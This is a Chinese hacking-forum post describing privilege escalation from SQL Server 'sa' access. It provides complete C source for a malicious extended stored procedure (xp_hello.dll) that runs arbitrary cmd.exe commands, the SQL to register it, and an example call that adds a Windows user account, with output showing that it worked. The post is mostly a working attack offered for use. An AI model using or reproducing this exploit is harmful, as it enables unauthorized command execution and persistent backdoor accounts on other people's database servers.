xp_hello.dllsa权限下的提权

[复制链接]
查看397 | 回复0 | 2012-4-1 19:20:11 | 显示全部楼层 |阅读模式
主要代码:
在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码:
 
[pre]#include&nbsp;<stdafx.h>&nbsp;&nbsp;#include&nbsp;<shellapi.h>&nbsp;&nbsp;#define&nbsp;XP_NOERROR&nbsp;0&nbsp;&nbsp;#define&nbsp;XP_ERROR&nbsp;1&nbsp;&nbsp;#define&nbsp;MAXCOLNAME&nbsp;25&nbsp;&nbsp;#define&nbsp;MAXNAME&nbsp;25&nbsp;&nbsp;#define&nbsp;MAXTEXT&nbsp;255&nbsp;&nbsp;#ifdef&nbsp;__cplusplus&nbsp;&nbsp;extern&nbsp;&ldquo;C&rdquo;&nbsp;{&nbsp;&nbsp;#endif&nbsp;&nbsp;RETCODE&nbsp;__declspec(dllexport)&nbsp;xp_hello(SRV_PROC&nbsp;*srvproc);&nbsp;&nbsp;#ifdef&nbsp;__cplusplus&nbsp;&nbsp;}&nbsp;&nbsp;#endif&nbsp;&nbsp;RETCODE&nbsp;__declspec(dllexport)&nbsp;xp_hello(SRV_PROC&nbsp;*srvproc)&nbsp;&nbsp;{&nbsp;&nbsp;/*****************************&nbsp;说明&nbsp;*************************&nbsp;&nbsp;由于本人人品不好还是怎么的,库里没有srv_paraminfo函数,卧槽,&nbsp;&nbsp;无赖之下,只好用老式的srv_paramdata&nbsp;&nbsp;*************************************************************/&nbsp;&nbsp;int&nbsp;bufLen;&nbsp;&nbsp;DBCHAR&nbsp;spName[MAXNAME];&nbsp;&nbsp;DBCHAR&nbsp;spText[MAXTEXT];&nbsp;&nbsp;DBCHAR&nbsp;spBuf[MAXTEXT];&nbsp;&nbsp;unsigned&nbsp;char&nbsp;cmdline[255]&nbsp;=&nbsp;&ldquo;&rdquo;;&nbsp;&nbsp;if(srv_rpcparams(srvproc)&nbsp;!=&nbsp;1)&nbsp;return&nbsp;XP_ERROR;&nbsp;//参数判断,如果参数不是1个就立即退出&nbsp;&nbsp;bufLen&nbsp;=&nbsp;srv_paramlen(srvproc,1);&nbsp;&nbsp;if(!bufLen)&nbsp;return&nbsp;XP_ERROR;&nbsp;&nbsp;wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen]&nbsp;=&nbsp;&lsquo;\0&prime;;&nbsp;//获取第一个参数的值&nbsp;&nbsp;wsprintf(spName,&nbsp;&ldquo;xp_hello&rdquo;);&nbsp;&nbsp;wsprintf(spText,&nbsp;&ldquo;%s&nbsp;Run&nbsp;command:[%s]\r\n\t\t\tMSN:ylbhz@hotmail.com&rdquo;,&nbsp;spName,spBuf);&nbsp;&nbsp;srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM);&nbsp;//发送消息&nbsp;&nbsp;wsprintf((char*)cmdline,&rdquo;/c&nbsp;%s&rdquo;,spBuf);&nbsp;//构造参数&nbsp;&nbsp;ShellExecute(0,&rdquo;open&rdquo;,&rdquo;cmd.exe&rdquo;,(char*)cmdline,NULL,SW_SHOW);&nbsp;//执行命令&nbsp;&nbsp;return&nbsp;XP_NOERROR&nbsp;;&nbsp;&nbsp;}&nbsp;[/pre]
编译生成xp_hello.dll
以SA连接SQLServer执行
&nbsp;
[pre]dbcc&nbsp;addextendedproc(&lsquo;xp_hello&rsquo;,'c:\xp_hello.dll&rsquo;);&nbsp;[/pre]
提示成功过后,调用
&nbsp;
[pre]exec&nbsp;xp_hello&nbsp;&lsquo;net&nbsp;user&nbsp;fuck&nbsp;fuck&nbsp;/add&rsquo;;&nbsp;[/pre]
这样系统里面就多了个fuck账户
C:\DocumentsandSettings\Administrator\桌面\工作区间\C\Debug>netuser
\\PC-200910151119的用户帐户
&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&ndash;

AdministratorASPNETfuck

GuestHelpAssistantIUSR_PC-200910151119

IWAM_PC-200910151119SQLDebuggerSUPPORT_388945a0

VUSR_PC-200910151119

命令成功完成。

&nbsp;
*
*
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则